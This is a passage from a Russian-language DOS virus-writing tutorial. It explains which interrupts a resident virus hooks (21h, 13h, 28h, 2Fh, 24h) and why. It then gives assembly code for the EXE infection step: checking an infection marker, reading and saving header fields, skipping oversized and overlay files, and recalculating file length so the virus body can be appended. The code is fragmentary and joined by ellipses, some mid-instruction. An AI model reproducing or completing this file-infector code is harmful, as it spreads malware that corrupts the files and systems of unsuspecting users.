... ,при смене текущего ди-

ска или каталога .Этот метод является весьма удач-

ным, и мы реализуем именно его .Но для этого нужно

знать, когда именно выполняются смена каталога или

диска.Единственный способ узнать о таком событии -

это перехватить прерывание Int 21h на себя, и при

каждом его вызове проверять, какая именно функция

вызывается . Так мы и сделаем .

Во - вторых, нам не обойтись без перехвата Int 13h

( см п. 2.13 ) .

В - третьих,поскольку наш вирус будет пользоваться

функциями DOS,которые работают с диском в резиден-

тном режиме,необходимо знать,когда можно безопасно

обращаться к этим функциям . Для этого следует

перехватить прерывание Int 28h,которое всегда вы-

зывается только при выполнении DOS реентерабельной

секции своего кода .Иными словами, при возникнове-

нии прерывания Int 28h можно смело пользоваться

любыми функциями DOS .

Далее, для проверки наличия вирусного кода в памя-

ти наш вирус будет использовать так называемое

мультиплексное прерывание - Int 2fh, и поэтому мы

должны перехватить и его ( см п. 2.7 ) .

И, наконец, мы должны написать обработчик критиче-

ской ошибки .Она возникает,например,если мы попы-

таемся записать информацию на вынутую из дисковода

дискету . Наш вирус должен перехватить прерывание

по критической ошибке ( Int 24h ) и выполнить его

обработку .

2.17 Обработчик...

... call cs:read jnc cs:compar

jmp cs:close_file

compar: cmp last,`7` ;Индикатор зара-

;женности jne cs:mmm

jmp cs:find_next

mmm: xor cx,cx ;Считаем заголо-

xor dx,dx ;вок EXE - файла

call cs:setpointer

jnc cs:read_head

to_next: jmp cs:find_next

read_head: mov cx,27 ;

lea dx,header ;

call cs:read ;

jnc cs:next_step ;

jmp cs:restore_dta ;

;Запомним :

;Значение IP

;файла ...

next_step: mov ax,word ptr header[14h]

mov old_ip,ax

;Значение CS

;файла ...

mov ax,word ptr header[16h]

mov old_cs,ax

;Значение SS

;файла ...

mov ax,word ptr header[0eh]

mov old_ss,ax

;Значение SP

;файла ...

mov ax,word ptr header[10h]

mov old_sp,ax

;Вычислим ...

mov ax,w...

... ptr header[04h]

mov cl,5

shl ax,cl

cmp ax,0f000h ;Файл длиннее

;983040 байт ?

jna cs:good_size ;Нет !

jmp cs:find_next ;Да !

good_size: mov di,ax

sub ax,word ptr header[08h]

mov to_16h,ax ;Новое значение

;CS ...

mov ax,di

xor dx,dx

call cs:mover

mov f_seek_low,ax

mov f_seek_high,dx

cmp dx,word ptr [new_dta + 01ch] ;Файл содержит

;оверлеи ?

jl cs:to_next ;Да !

ja cs:not_ovl ;Нет !

cmp ax,word ptr [new_dta + 01ah]

jae cs:not_ovl ;Нет !

jmp cs:find_next ;Да !

not_ovl: add ax,vir_len

adc dx,0

mov bx,512

div bx

cmp dx,0

je cs:round

inc ax

round: mov to_04h,ax ;Новую длину

;файла в страни-

;цах ...

mov to_02h,dx

mov word ptr header[02h],dx ;И заполним эти-

;ми значе -

mov ax,to_04h ;ниями соответс-

;твую...